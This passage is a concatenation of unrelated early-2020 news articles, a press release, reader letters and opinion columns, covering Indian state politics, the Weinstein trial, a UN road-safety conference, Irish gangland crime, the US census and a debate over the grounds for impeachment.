Commission and the African Union Commission begins. FRIDAY FEBRUARY 28 NO MAJOR EVENTS SCHEDULED SATURDAY FEBRUARY 29 NO MAJOR EVENTS SCHEDULED SUNDAY MARCH 1 NO MAJOR EVENTS SCHEDULED (ANSAmed). By PTI GADCHIROLLI: Maharashtra Home Minister Anil Deshmukh on Friday said the previous government in the state termed those opposed to their policies as 'urban Naxals' and foisted cases against intellectuals, poets and thinkers. He said the Maharashtra Vikas Aghadi would set up a special investigation team (SIT), as demanded by NCP chief Sharad Pawar, to probe the Koregaon Bhima and Elgar Parishad cases, the latter now being investigated by the federal National Investigation Agency (NIA). Addressing a press conference here, Deshmukh said legal opinion was being sought for the setting up of the SIT. Earlier on Friday, Maharashtra Water Resources Minister Jayant Patil said the state government can carry out an independent and parallel inquiry in the Elgar Parishad case despite the probe being taken over the by the NIA. While the state government allowed the case, which relates to a conclave in Pune on December 31, 2017 in which alleged inflammatory speeches were made, to be handed over to the NIA, the NCP and Congress, partners in the Maha Vikas Aghadi government, had opposed it. Patil, however, said there were no differences in the MVA government on NIA taking over the Elgar Parishad probe. ALSO READ | Congress unhappy with Maharashtra govt's decision to transfer Bhima Koregaon case to NIA "Even if the NIA has taken over the case, the state government can conduct an independent and parallel inquiry into the case and a decision to this effect may be taken by the state government soon," he said. He said the Centre was delaying GST dues and central tax share to Maharashtra ever since the MVA under Uddhav Thackeray took charge, adding "my assumption is that the Centre's financial position is not sound". "I am not of the opinion that they are deliberately delaying the dues. Any government at the Centre treats all states impartially," he said. Patil said the meeting between CM Thackeray and Prime Minister Narendra Modi in Delhi will discuss pending dues of the state. Patil said a decision on the National Population Register exercise would take place after all constituents of the government study its questionnaire. "NPR is a census and there is no question of opposing the census. Only important thing is what sort of questions will be asked. We will discuss this and take a unanimous decision," Patil, a senior NCP leader, said. NEW YORK Jurors in the Harvey Weinstein trial appeared deadlocked Friday on the most serious charges brought against the disgraced movie mogul as the fourth day of deliberations came to a close. The jury of seven men and five women asked if they could be hung on the two charges of predatory sexual assault which carry a maximum sentence of life in prison and unanimous on the other lesser charges. Judge James Burke told the jurors that they must reach a unanimous verdict on every count. It is not uncommon for a jury to have difficulty reaching a unanimous verdict, or for it to believe they will never be able to reach a unanimous verdict, Burke said. He then asked the jurors to continue their deliberations, which are set to continue Monday. Jurors have so far zeroed in on the accusations of Mimi Haley and Sopranos actress Annabella Sciorra, whose allegation is critical to Weinstein being convicted of predatory sexual assault, which carries a maximum sentence of life in prison. Earlier this week, jurors requested to rehear the testimony and cross-examination of Haley, who has accused the Miramax co-founder of forcibly performing oral sex on her in his SoHo apartment in 2006. Jurors also asked to review the cross-examination of Sciorra and the testimony of her friend, actress Rosie Perez, who early in the trial told jurors that Sciorra had told her about the alleged attack in the 1990s. Weinstein, 69, faces five counts of sexual assault in connection with the alleged assaults of Sciorra, Haley and a once-aspiring actress who has accused the movie mogul of raping her on two separate occasions in hotels in New York and Southern California. Sciorra told jurors that Weinstein barged into her Gramercy Park apartment in late 1993 or early 1994 and raped her. Her allegation was too old to prosecute individually, but it was factored into the top count of the indictment. Weinstein has maintained that any sexual encounters were consensual. The Associated Press contributed to this report. Laura Newberry is a Los Angeles Times writer. Cork Opera House have launched their talent hunt for their new summer musical production, 'Chitty Chitty Bang Bang.' Producers are searching for two new stars to play the roles of Jeremy and Jemima Potts. Speaking at the launch of the search, Eibhlin Gleeson, CEO at Cork Opera House said: "We have worked with some extraordinary young actors over the last number of years. "Were consistently blown away by the level of talent to be found in Cork and throughout Munster. We really cant wait to find the stars of this years show. Auditions are to be submitted to an online platform here. Applications will only be accepted from parents or legal guardians on behalf of their child and all photos and videos will be held on a secure site only accessible to the Chitty Chitty Bang Bang Production Team. Cork Opera House have launched our search for Jeremy and Jemima Potts in our production of Chitty Chitty Bang Bang this Summer! Click on the link, follow the instructions, and submit your audition! https://t.co/aHge6UQdDd#Auditions pic.twitter.com/uMy2zMbIIp Cork Opera House (@CorkOperaHouse) February 21, 2020 Based on the beloved 1968 film version of Ian Flemings childrens book, Chitty Chitty Bang Bang, the family-friendly show follows an eccentric inventor, Caractacus Potts and his children, Jeremy and Jemima, who discover an old race car with magical properties. Share this article Whatsapp Facebook Twitter Linkedin Elly Burhaini Faizal (The Jakarta Post) Stockholm Fri, February 21, 2020 13:59 691 7f440ff09e92db75a02bbad2065ccea5 1 World Stockholm,road-safety,Sweden,UN,United-Nations,development Free The United Nations has called on governments to take responsibility in preventing road deaths and serious injuries by putting safety at the forefront of planning, investment and products in the field of transportation. Speaking on behalf United Nations Secretary-General Antonio Guterres, UN special envoy for road safety Jean Todt said that, in recent years, UN member states, intergovernmental organizations, nongovernmental partners, multilateral development banks and academic institutions had acted to reduce risks on the worlds roads. The UN system had mobilized the development of legal instruments, best practices and policy recommendations on road safety, Todt said. This was a solid foundation, he added, but clearly not enough. Road safety is one of greatest development challenges, according to the UN. Traffic accidents cause deaths among young people and have lowered peoples income in Africa, Asia and Latin America. Each year, some 1.35 million drivers, cyclists, passengers and pedestrians are killed on roads, while 15 million others are severely injured, devastating families across the world and posing a setback to global efforts to achieve the Sustainable Development Goals (SDG). To achieve its targets for the Decade of Action for Road Safety, Todt said, the UN needed to ensure that safety was a measurable indicator in building vehicles, infrastructure, the transportation system and related facilities introduced to the market. If we continue to [flood] our transportation system with unworthy elements that bring devastation to our citizens, we will not be able to achieve our safe and sustainable transportation for all, Todt said during the opening ceremony of the 3rd Global Ministerial Conference on Road Safety: Achieving Global Goals 2030, which takes place in Stockholm from Wednesday to Thursday. Saving lives by improving road safety is one of many objectives in the 2030 Agenda for Sustainable Development. During a UN General Assembly meeting last month, Guterres launched A Decade of Action to deliver Sustainable Development Goals. The secretary-general said at the time that the entire UN system was committed to working with all partners to expand global movements for the goals to unlock financing and to generate innovation and solutions needed to deliver a better life for all people across the world. The Stockholm meeting was held to kick off a new decade of SDG action for road safety to 2030 as A Decade of Action for Road Safety 2011 2020 will expire at the end of this year. We are here to unite forces to achieve a drastic reduction in road traffic fatalities and injuries over the next 10 years, said Todt. At the two-day conference, 1,700 delegates from 140 countries had a chance to attend plenary discussions, during which ministers and senior officials talked about lessons learned from A Decade of Action for Road Safety 2011 2020 and what priorities countries would pursue in the next 10 years. Todt said the high number of deaths and serious injuries caused by road accidents was unacceptable because fatalities could in fact often be prevented. [The road] is created to improve prosperity, better education and ensure accessible health services and cleaner air. This is not a means to create disabilities and place a heavy burden on health systems and families, he said. Speaking during the opening ceremony, the Swedish king, Carl XVI Gustaf, said 15 years ago, more than 200 Swedish children lost their lives in traffic accidents. Citing reliable statistics, the king said the number was now down to only 16. Of course, 16 is not zero, but it is a lot better than 200. For many decades, politicians, civil society groups and industry have worked together seeking innovative solutions that make Swedish traffic safer for everybody. Despite accomplishments, [much work] still needs to be done, he said. Through the years, I have done quite a lot of driving myself, mostly in Stockholm and across Europe. One thing becomes apparent from driving through different countries: Traffic is cross-border and so are the challenges, especially because the number of people and vehicles have continued to increase. This is why it is very important to come together, exchange knowledge, experiences and ideas from all over the world, he went on. The Swedish king further said a huge participation of decisionmakers and experts in the Stockholm meeting proved there was a strong global commitment to improving road safety. This conference [creates] a lot opportunity to link the road safety challenges to other sustainable challenges, such as climate change, health, equality, poverty and human rights. We need to [address] these challenges together and remember that road traffic deaths and injuries are preventable, said King Carl Gustaf. During a video conference, World Health Organization director-general Tedros Adhanom Ghebreyesus reminded conference participants about the huge health impact of road traffic accidents, highlighting the need for necessary collaboration to end preventable deaths and injuries. Leaders from the sectors of transportation, infrastructure and health had to be part of the solution. Countries were now in a critical time at the end of a Decade of Action 2011 2020 and SDG goals 3.6, Tedros said. Countries and cities had achieved significant progress between 2010 and 2018. Brazil reported a decline in road fatalities of more than 40 percent since 2010. Similar progress had been reported from other countries, such as Saudi Arabia, Bogota in Colombia, Oslo in Norway, China, India, Thailand and Uganda. Political will is needed at the highest level of government to achieve this, both by investing and shifting to healthier modes of transportation, said Ghebreyesus. This morning one of my really smart lefty friends (someone I have really good arguments withmore people should try for thiswho needless to say really hates Trump), sent me this note: Last night was the first Dem debate I tuned into, and it was horrifying. Bernie was an angry uncle. Bloomberg was an arrogant asshole. Warren was a ballbusting bluestocking. Pete was a glib greenhorn. Biden was barely alive. And Klobuchar was a smirking SNL character. . . Its a f catastrophe! I agree with all of this, and this is, of course, why Im really happy today. Theres been a lot of good analysis and commentary, and with a full day on my schedule I decided to wait to see what gaps are left to be filled. I think I see one. The conventional wisdom is that Bloomberg had a terrible night. Quite true, yet I want to dissent anyway and suggest that Bloomberg got out of that debate a lot of what he wanted to, and while he must certainly be second-guessing his weak moments, he is probably pleased with the state of things. He might not even mind that he got slagged so badly by Warren and Sanders. He did plant two main points. First, no one else on that stage can beat Trump. Second, the partys embrace of socialism is a loser. Good for him. Pin this thought. Despite the body blow he took over his #MeToo and stop-and-frisk problems, the field didnt much attack him on his most vulnerable point, namely, for buying his way onto the debate stage. Instead they attacked him for being a successful billionaire, because envy and resentment of the rich is now the central organizing principle (along with racism) of the Democratic Party. If Tom Steyer ever threatened to rise seriously in the polls theyd say that about him too. The fact that they gave Steyer a pass shows that they dont take him seriously but fear Bloomberg. As John noted, when Bloomberg directly attacked socialism, the audience groaned, and his rivals on the stage sputtered incoherently. Meanwhile, the net result was that Bernie chugged along, making his nomination more likely. Actually I think were only 12 days away from Bernie effectively wrapping it up on Super Tuesday. I continue to believe that Bloomberg decided to run because he saw that Sanders is likely to win the nomination. If he cant stop Sanders (the only person he attacked directly last night), he can then announce his independent candidacy by saying, I didnt leave the Democratic Partythe Democratic Party left me. Sound familiar? Well yes. No need to be original at a time like this. He can rightly say that the debates barely talked substance about the key issues, in preference for trolling around his past, which a lot of voters wont much care about. I really was tempted to joke on Twitter that for a voter in West Virginia, it was uncertain that the claim Bloomberg called some women fat pigs and horse-faced lesbians was a criticism or an endorsement. But of course Twitter is a humor-deprived forum, so I refrained. Closing thoughts. Amazing that there were no serious questions about foreign policy last night. (Quizzes about the name of the president of Mexico dont count as serious foreign policy.) This is another dog that didnt bark, and an indicator of Trumps re-election. Second, there were no questions about the economy. This doesnt surprise me, and is further evidence of how the media is on the Democrats side. The only sensible question to ask would be, With the economy so good, how can you reassure Americans your ideas wont screw it up? Chaser: Politico tonightBloomberg Quietly Plotting Brokered Convention Strategy. Told ya. The Islamic State has returned to Deir ez-Zor and demanded that residents pay exorbitant taxes to the group or face death reports Deir Ezzor 24. Unknown assailants, believed to belong to the Islamic State (ISIS), imposed taxes on civilians in al-Hawayej village east of Deir ez-Zor, according to Deir Ezzor 24s correspondent. The correspondent added that masked gunmen raided houses in al-Hawayej village at dawn, and asked the mayor of al-Rugheib village, Jamil al-Ismail al-Khalaf Abu Abd, to pay a sum of 25,000 dollars on the pretext that he is loyal to the Assad regime, as he constantly talks about the heroism of Assad forces. The same people demand that Faisal al-Suwaij pay a sum of 30,000 dollars, but that the price is negotiable. Suwaij is from al-Hawayej town, but about eight months ago, he moved to live in Hassakeh province, but he still comes to al-Hawayej from time to time. According to relatives of the victims, the gunmen said they were imposing taxes to help the women prisoners in the camps controlled by the Syrian Democratic Forces (SDF). The gunmen have threatened to kill the people if they did not pay the demanded sums. It is worth mentioning that two days ago, the SDF launched an intensive security campaign in al-Hawayej village in search of remnants and cells of ISIS, but the groups activities continue despite of these campaigns. This article was edited by The Syrian Observer. The Syrian Observer has not verified the content of this story. Responsibility for the information and views set out in this article lies entirely with the author. The counselor academy was started under the leadership of Catalina Cifuentes, who worked as a counselor for eight years before becoming executive director of college and career readiness at the Riverside County Office of Education. She founded the academy with Caro after encountering difficulty finding qualified counselors to hire. On one occasion, she said, none of the eight finalists for a high school counseling job could read a high school transcript well enough to assess whether that student was college-ready. Thats how bad it is, she said. So then theyre having to play catch-up. Gardai examine a car with a bullet hole in the window at the scene in Bettystown where Richie Carberry was gunned down Known simply as Mr Big, he's one of the most feared gang bosses in the capital and the State. The mobster, who cannot be identified for legal reasons, has been involved in the higher levels of organised crime for more than 12 years. Based in Coolock, he is also the alleged mastermind behind the murder of Real IRA terror boss Alan Ryan. Northside detectives are now dealing with a fresh alert after Mr Big placed a death threat on a young criminal who unwittingly burgled the Kilbarrack home of one of his associates. Alliance The question now is why such an experienced and cunning gang boss got involved in the Drogheda feud, forming an alliance with Traveller gang boss Cornelius Price in a "dangerous marriage of convenience" against a common rival. Expand Close Kenneth Finn / Facebook Twitter Email Whatsapp Kenneth Finn The short answer is the murder of Richie Carberry, a 39-year-old drugs trafficker who was shot dead outside his home in Bettystown, Co Meath, last November. Mr Big and Carberry had an uneasy relationship, mostly stemming from being from the same neighbourhood but running rival drug empires. Following an earlier attempted murder outside his home last March, Carberry installed bullet-proof windows. Detectives believe Carberry, who was part of the anti-Maguire faction in the Drogheda feud, had been "directing the operations" of two criminal brothers from the town. Expand Close Richie Carberry / Facebook Twitter Email Whatsapp Richie Carberry These two have been at war with associates of paralysed mobster Owen Maguire for more than a year-and-a-half as the feud spiralled out of control. Carberry was on very friendly terms with the on-the-run psychopathic Dublin gangster who quickly emerged as a chief suspect in the killing of Keane Mulready-Woods last month. This pal of Carberry was also the chief suspect for the botched gangland hit on Owen Maguire in July 2018, which inflamed the Drogheda feud. When Carberry was shot dead, the Maguire faction were happy to take the credit - but his younger pal, who was then in prison, had different ideas. Expand Close Cornelius Price / Facebook Twitter Email Whatsapp Cornelius Price Within hours of Carberry's murder, the suspected hitman from north Dublin, who is in his mid-30s, alleged in a prison phone call - secretly recorded - that Mr Big was responsible for Carberry's brutal murder. There have been no arrests yet in relation to the killing, with sources saying that a reckless teenage gunman from Coolock - who had close links to slain hood David 'Fred' Lynch - is suspected in underworld circles of being the gunman. This teenager has close links to Mr Big's drugs mob and gardai have investigated whether he was enlisted by them to murder Carberry. In March 2009, Carberry's pal - now a suspect in the Mulready-Woods murder - had also been investigated for the murder of 26-year-old David 'Fred' Lynch, who was shot four times in the head in the Coolock area. He was never charged over the gun murder but Lynch's younger associate swore revenge on the gangster. This may have made it easy for the Mr Big mob to enlist Lynch's younger associate to murder Carberry, who was due to fund his pal's lifestyle on release from prison. Additionally, there was already bad blood between Carberry's pal and Mr Big. This primarily relates to the fact that Carberry's pal is the chief suspect for the murder of Kenneth Finn (36) - a close friend of Mr Big - who was shot dead in Coolock in February 2018. Mr Big's gang wanted revenge for Finn's murder and intended to kill the recently-released criminal - at the same time, Carberry's pal wanted to take out Mr Big for Carberry's murder. Carberry's links to the opposing side in the Drogheda feud and a bitter jail row also brought in another player - gangster Cornelius Price. As tensions grew over Christmas, there was a street row between Carberry's pal and Lynch's young associate. In the meantime, gardai received information that both the Price and Mr Big gangs were now plotting to kill Carberry's pal, so he was advised it was unsafe to return to his Coolock powerbase. This infuriated the gangster, who saw it as a major slight to his credibility, and he was seen associating in Drogheda far more frequently with the anti-Maguire faction in the weeks leading up to Keane Mulready-Woods' murder. Fled It is believed it was he who came up with the barbaric plot to abduct, murder and dismember the teenager. As the Herald revealed earlier this week, he is believed to have fled the country. As for Mr Big, senior sources familiar with his activities believe he will continue to make huge money from his drugs trafficking enterprises. He has, they say, been involved in many gangland feuds in the past and has been at the centre of many major garda investigations but has always come out unscathed. His gang is suspected of a spate of gangland murders, some of which cannot be outlined here for legal reasons. However, they are the chief suspects for the murder of 32-year-old Real IRA terror chief Alan Ryan. He was shot dead in Clongriffin, north Dublin, on the afternoon of September 3, 2012 - a crime in which slain Kenneth Finn is believed to have been the gunman. [February 20, 2020] SMIC Announces Proposed Issue of US$600 Million 2.693% Bonds Due 2025 SHANGHAI, Feb. 20, 2020 /PRNewswire/ -- Semiconductor Manufacturing International Corporation ("SMIC", the "Company"; SEHK: 981; OTCQX: SMICY) one of the leading semiconductor foundries in the world, announces that on 20 February 2020, the Company and the Joint Lead Managers (J.P. Morgan, ICBC International, Barclays, UBS, SPDB International, ICBC MACAU, Silk Road International and BNP Paribas) entered into the Subscription Agreement, pursuant to which each of the Joint Lead Managers has agreed to subscribe and pay for, or to procure subscribers to subscribe and pay for the Bonds to be issued by the Company in an aggregate principal amount of US$600 million. Approval in-principle has been received for the listing of and quotation for the Bonds on the SGX-ST. The SGX-ST assumes no responsibility for the correctness of any statements made or opinions expressed in this announcement. Completion of the Subscription Agreement is subject to the satisfaction or waiver of the conditions precedent therein and is expected to take place on 27 February 2020. In addition, the Subscription Agreement may be terminated in certain circumstances. Please refer to the paragraph headed ''The Subscription Agreement'' under the section ''Issue of the Bonds'' below for further information. USE OF PROCEEDS The gross proceeds from the issue of the Bonds will be approximately US$600 million. The net proceeds (net of fees, commissions and expenses) from the issue of the Bonds will be approximately US$596.5 million. The Company intends to use the net proceeds (net of fees, commissions and expenses) from the issue of the Bonds for capital expenditure for capacity expansion and other general corporate purposes. Shareholders and potential investors should note that completion of the issue of the Bonds is subject to the fulfilment of the conditions under the Subscription Agreement. As the issue of the Bonds may or may not proceed, Shareholders and potential investors are reminded to exercise caution when dealing in the securities of the Company. For the full details of this announcement please see the filing: http://asia.blob.euroland.com/press-releases-attachments/1196056/KEX-EPS_20200221_9162099-0.PDF About SMIC Semiconductor Manufacturing International Corporation ("SMIC" SEHK: 981; OTCQX: SMICY), one of the leading foundries in the world, is Mainland China's most advanced and largest foundry, broadest in technology coverage, and most comprehensive in semiconductor manufacturing services. SMIC provides integrated circuit (IC) foundry and technology services on process nodes from 0.35 micron to 14 nanometer. Headquartered in Shanghai, China, SMIC has an international manufacturing and service base. In China, SMIC has a 300mm wafer fabrication facility (fab) , a 200mm fab and a majority-owned joint-venture 300mm fab for advanced nodes (under construction) in Shanghai; a 300mm fab and a majority-owned 300mm fab for advanced nodes in Beijing; 200mm fabs in Tianjin and Shenzhen; and a majority-owned joint-venture 300mm bumping facility in Jiangyin. SMIC also has marketing and customer service offices in the U.S., Europe, Japan, and Taiwan China, and a representative office in Hong Kong China. For more information, please visit www.smics.com. Forward-Looking Statements This press release contains, in addition to historical information, forward-looking statements. These forward-looking statements are based on SMIC's current assumptions, expectations, beliefs, plans, objectives, and projections about future events or performance. SMIC uses words like "believe," "anticipate," "intend," "estimate," "expect," "project," "target, "going forward", "continue", "ought to", "may", "seek", "should", "plan", "could", "vision", "goals", "aim", "aspire", "objective", "schedules", "outlook" and similar expressions to identify forward looking statements, although not all forward-looking statements contain these words. These forward-looking statements are necessary estimates reflecting judgment of SMIC's senior management and involve significant risks, both known and unknown, uncertainties and other factors that may cause SMIC's actual performance, financial condition or results of operations to be materially different from those suggested by the forward-looking statements including, among others, risks associated with cyclicality and market conditions in the semiconductor industry, intense competition in the semiconductor industry, SMIC's reliance on a small number of customers, timely wafer acceptance by SMIC's customers, timely introduction of new technologies, SMIC's ability to ramp new products into volume, supply and demand for semiconductor foundry services, industry overcapacity, shortages in equipment, components and raw materials, availability of manufacturing capacity, financial stability in end markets, orders or judgments from pending litigation, intensive intellectual property litigation in the semiconductor industry, general economic conditions and fluctuations in currency exchange rates. In addition to the information contained in this press release, you should also consider the information contained in our other filings with The Hong Kong Stock Exchange Limited ("SEHK") from time to time. Other unknown or unpredictable factors also could have material adverse effects on our future results, performance or achievements. In light of these risks, uncertainties, assumptions and factors, the forward-looking events discussed in this press release may not occur. You are cautioned not to place undue reliance on these forward-looking statements, which speak only as of the date stated or, if no date is stated, as of the date of this press release. Except as required by applicable laws, SMIC undertakes no obligation and does not intend to update any forward-looking statement to reflect events or circumstances after the date on which such statement is made or to reflect the occurrence of unanticipated events after the date on which such statement is made or to reflect the occurrence of unanticipated events, whether as a result of new information, future events or otherwise. CONTACT: Investor Relations +86-21-2081-2804 [email protected] View original content:http://www.prnewswire.com/news-releases/smic-announces-proposed-issue-of-us600-million-2-693-bonds-due-2025--301008890.html SOURCE Semiconductor Manufacturing International Corporation [ Back To TMCnet.com's Homepage ] APG invests 250m in Norway hydropower firm for pension fund Dutch asset management firm APG has almost doubled its investment in Norwegian hydropower firm Smakraft, undertaken on behalf of the Netherlands state workers' pension fund. To access this article please sign-in below or register for a free one-month trial. CLEVELAND, Ohio The Census Bureau knows that historically it has missed a lot of the youngest Americans in its official tabulation every 10 years, so who better to turn to for help in stirring up awareness than Count von Count from Sesame Street. Sesame Streets Count and Rosita, and the Cat in the Hat from Dr. Seuss Enterprises will be part of a free family festival at the Great Lake Science Center on Saturday (10 a.m. to 1 p.m.) to draw attention to the need for every household to fill out the decennial census and do so accurately. Census Bureau Director Steven Dillingham launched two days of promotional activities in Cleveland on Friday morning by reading the childs book Everyone Counts! to elementary students at Wade Park School. (People are counted, cows are not, Dillingham reminded the children.) School children in classrooms at many grade levels will be hearing a lot more about the 2020 census during Statistics in Schools Week, March 2-6, with lesson materials provided by the Census Bureau. Why the big effort to connect with people so young that they likely wont be the ones filling out the actual census forms this spring? They can take the message home. The most important thing I want to remind everyone, Dillingham told a group of third- and fourth-graders, is that everyone needs to be counted, especially children. ... Tell your parents you need to be counted. Census Bureau Director Steven Dillingham reads to kindergarten students at Wade Park School in Cleveland on Friday.Rich Exner, cleveland.com Unlike other age groups, the undercount of young children grew in the 2010 census, researchers at the bureau say. Karen Deaver, who is managing the bureaus efforts to improve the count of children, said the undercount is known because of follow-ups surveys and reviews of birth records. The Census Bureau estimates that children under the age of 5 were undercounted by 4.6% - or by nearly 1 million. Some outside researchers have pegged the undercount even higher. And the Urban Institute estimates that 1-in-18 Ohio children under the age of 5 could be left out of this years count. The children missed often are those with complicated living arrangements with multiple caregivers, and newborns, researchers say. Notices to fill out this years census online or on paper will begin going out March 12. Here are the rules the Census Bureau wants people to know, when it comes to counting young children: * Count children in the home where they live and sleep most of the time, even if their parents dont live there. * If time is divided evenly between more than one home, count the children where they are staying on April 1. * If a child does not have a regular home, count the child where they are staying on April 1. * If a newborn is still in the hospital on April 1, count the infant where he or she will be living after leaving the hospital. Below is a sample of what the paper census form will look like. Rich Exner, data analysis editor for cleveland.com, writes about numbers on a variety of topics. Follow on Twitter @RichExner. Find other data-related stories at cleveland.com/datacentral or use this link for other census 2020 coverage. Sample 2020 Census form. Census Director Steven Dillingham delivers the message that Everyone Counts in reading to students Friday at Wade Park School in Cleveland.Rich Exner, cleveland.com Read previous stories Ohio, Pennsylvania, Michigan stand to lose U.S. House seats after 2020 census, analysis shows Will you get a paper census form in 2020, or be asked to complete census online? Census 2020 preparations ramp up with opening of offices in Cleveland, Akron Aging Ohio: 2020 census projected to show Ohioans age 60 and older will outnumber those under 20 Census 2020 Q&A: Who gets counted, new chance to complete online, iPhone 8-equipped enumerators and more T he Muslim prayer leader who was stabbed during an attack at a London mosque has returned for Friday prayers. Raafat Maglad, a muezzin who leads the call to prayer, was stabbed in the neck on Thursday afternoon inside London Central Mosque in Regent's Park. Mr Maglad, a father-of-three from Queens Park who leads the call to prayer five times a day, was rushed to hospital and was discharged this morning. With his arm in a sling, the leader, who is in his 70s, returned to the mosque where he was escorted inside by security. He had earlier told the Standard: "This attack wont change my behaviour. Nothing will stop me praying, and I will be back calling prayers as soon as I can." The prayer leader was discharged from hospital this morning / AFP via Getty Images Mayor of London Sadiq Khan also arrived at the mosque to join worshippers for Friday prayers. He was greeted with a hug by director general Dr Ahmad Al Dubayan. During the incident on Thursday, around 20 members of the congregation rushed to tackle the knifeman, pinning him down until police and emergency services arrived. Mr Maglaad being treated for his injuries Dramatic video footage of the aftermath of the attack shows the suspect being led out of the mosque in handcuffs. One video showed a knife on the floor under a plastic chair. Mr Maglad said it felt like he had been "hit with a brick". He told the Standard: I was closing my eyes to pray and put down my head. It felt like someone hit me with a brick. It was terrible, there was so much blood. "I put my hand up and tried to close the cut. Everyone stopped him and called the ambulance. I feel lucky. It could have cut my jugular and I would have had no chance. Pointing to his shoulder dressing, Mr Maglad added: It affected my nerve. Doctors have told me I need an MRI to see how much damage, but I cant move my right arm. Its a dead weight, its heavy and numb. I have six stitches in my neck. I told the doctors I didnt want to stay in hospital with all wires going in me so I asked them to discharge me early. I wanted to be at home. Sadiq Khan also joined for Friday prayers / PA I would like to thank everyone who helped. Last night the emergency room was full of so many people supporting me. It was nice. This attack wont change my behaviour. Nothing will stop me praying, and I will be back calling prayers as soon as I can. I have to find out if I need surgery first. Ayaz Ahmad, an adviser to the mosque, said of the attack: Everybodys reaction was shock and horror, the men were screaming. It was a vicious attack. We live in a society where we hear a lot about knife crime and its very shocking. What could possibly make a person think its OK to dog-ear pages of a book that is borrowed from a library? Is it that difficult to find something to use as a bookmark instead of disrespecting the countys property? Whoever is faithful in little will be faithful in much. Good citizenship begins with the little. Mary Stella, Midlothian *** As I understand the proposal, the General Assembly intends to award all electoral votes to the presidential candidate who achieves the majority of votes in the 26-state compact. Effectively, this not only violates our Founding Fathers intent when the Electoral College was established but, more importantly, has the potential to nullify the votes of Virginians. Consider a situation in which the majority of Virginians vote for one candidate but the majority of combined votes in the 26-state compact favor another. This is an extremely bad idea with potential to disenfranchise Virginia voters. Robert B. Moffett Jr., Richmond *** The avalanche of denunciation that fell upon the head of Professor Alan Dershowitz after his address before the Senates impeachment proceeding was unsurprising. In lending his stature and knowledge to the Presidents defense, he, of course, became the enemy of Trumps progressive pursuers. The fact that Dershowitz is a lifetime Democrat and liberal made it worse. The Left does not react well to apostasy. But the adverse reaction to Dershowitzs defense of the President emanated from the nominal right as well -- particularly from National Review and the Dispatch. Jonah Goldberg is not entirely persuaded that impeachable misconduct must be a defined criminal offense, as contended by Dershowitz. He thinks the very notion to be logically, legally, morally, constitutionally, historically, and factually absurd. He cites first the remarks of Edmund Burke during the 1788 impeachment trial of Warren Hastings, Governor-General of India, suggesting that the House of Lords should not restrict its deliberations to the precepts of jurisprudence. The detail that Hastings was acquitted, Goldberg does not vouchsafe. More importantly, the American Constitution dispenses with the British motion for a vote of no confidence. While the procedure of impeachment derives from the English tradition, impeachment under the provisions in Articles I and II is a procedure for removal on the basis of moral turpitude, not faulty performance. The British prime minister can be removed simply because a majority in Parliament think he is doing an unacceptably bad job. Churchill himself had to defend against a motion for a no confidence vote after Tobruk fell to Rommels Afrika Korps. Dershowitzs critics insist that gross malfeasance must be a ground for impeachment. Their refutations are a cornucopia of colorful hypothetical examples. What if a president just walks off the job? asks Goldberg. Say the president decides to follow a Grateful Dead tribute band around the country for a year. Never thought of that, did you, Reader? Now someone might object that the behavior described, suggesting insanity, would call for invocation of the 25th Amendment, by which the President is removed when the vice-president or a majority of the cabinet certify him to be incompetent. But Goldberg has thought of that and points out that the 25thAmendment was only passed in 1967. So before that, they must have relied upon the impeachment clause if the President went off his rocker. Goldbergs approach to statutory construction is innovative. If a law (amendment) is passed to address a certain problem, it normally would be supposed that the hitherto existing law did not address it. That is why a new law is necessary. While Woodrow Wilson did not have the opportunity to become infatuated with the Grateful Dead, he did suffer a debilitating stroke near the end of his administration. As Dershowitz noted, he could not be impeached for that. There was in the original 1787 text the Article II provision that let the vice-president take over in case of the presidents Inability to discharge the powers and duties of the said office. No procedure for determining this inability was included. What happened in the case of Wilson is a matter of some historical conjecture, but certainly impeachment was never involved. Former federal prosecutor Andrew McCarthy suggests a president who sits idle while a foreign power bombs Florida, apparently not even negotiating with the foreign power to switch the locus of attack to a blue state. This shows that gross malfeasance without criminal offense can be the basis of impeachment. But the example is a strange one. If there were a genuine attack with mass destruction or invasion imminent and the president hid under his desk, the cumbersome process of impeachment and trial would be an unlikely recourse. The intervention of the presidents national security advisers and vice-president, the invocation of the 25th Amendment, or extra-constitutional measures to deal with the emergency would be more probable. The constitutional text says bribery, treason or other high crimes and misdemeanors. Must you not depart from it to include incompetence? Both Goldberg and his former National Review colleague Romesh Ponnuru attach much importance to remarks by James Madison stipulating that the president could be impeached for inducing a crime by promising to pardon the criminal. They seem to think that the presidents absolute pardon power would make this legal. But deliberately getting someone to commit a crime in exchange for a promised reward is itself a crime: criminal solicitation. If the President intentionally entices criminal conduct he is himself guilty. It is, moreover, extraordinary that both Goldberg and Ponnuru introduce this example as though it were hypothetical. Is that not precisely what President Clinton did with Susan MacDougall? Was she not induced to defy a grand jury subpoena in the Whitewater investigation, jailed for the balance of Clintons second term, and then rewarded with a full pardon as he left office? Clinton was impeached all right, but never for that. There is a certain selectivity in Goldbergs use of Federalist No. 65 (Hamilton). He cites the famous passage in which Hamilton states that impeachment will concern political offenses, consisting in some breach of the public trust. Any offense for which presidential impeachment were brought undoubtedly would amount to that. This does not mean that the breach of public trust would not also be a prosecutable crime. Hamilton observes, paraphrasing the final paragraph of Article I, Section 3: [T]he punishment which may be the consequence of conviction upon impeachment is not to terminate the chastisement of the offender. After having been sentenced to a perpetual ostracism from the esteem and confidence and honors and emoluments of his country, he will still be liable to prosecution and punishment in the ordinary course of law. How could the impeached president be subject to prosecution and punishment in the ordinary course of law if the grounds of impeachment were not also cognizable criminal offenses? Dershowitzs critics may reply that this merely covers a subset of impeachable offenses, but does it not suggest that actual criminal behavior was what the Founders had in mind? At this point Goldberg argues that there were no federal criminal statutes at the time the Constitution went into effect and so if impeachment had to be based upon commission of a crime, nothing then would have constituted an impeachable offense. Dershowitz actually covers the point, referring to the arguments of Andrew Johnsons defender, Justice Benjamin Curtis. Apart from the fact that federal criminal statutes would follow in short order, when the Constitution went into effect, common law crimes were regarded as cognizable federal offenses, even if notated only in state criminal codes. In fact, the constitutional text does not refer to crimes against the United States, although Curtis used that phrase. Murder was a crime in 18th-century America. Murder today is not typically a federal offense apart from such esoteric exceptions as assassination of the president and terrorism. It obviously is defined in state criminal statutes. President Trump may have said that his followers would remain loyal even if he shot someone on Fifth Avenue, but I doubt that he would long remain president if he did so. McCarthy maintains that impeachment is a common sense determination, though we more often refer to it as a political one. He elaborates, the security of the United States is the object of impeachment and national security can be imperiled by an unfit president regardless of whether his acts are willful or negligent, and whether they take place before or during his presidency. Impeachment is not fundamentally a legal problem having a strict legal test. How interesting that McCarthys advice to the President and his defenders in 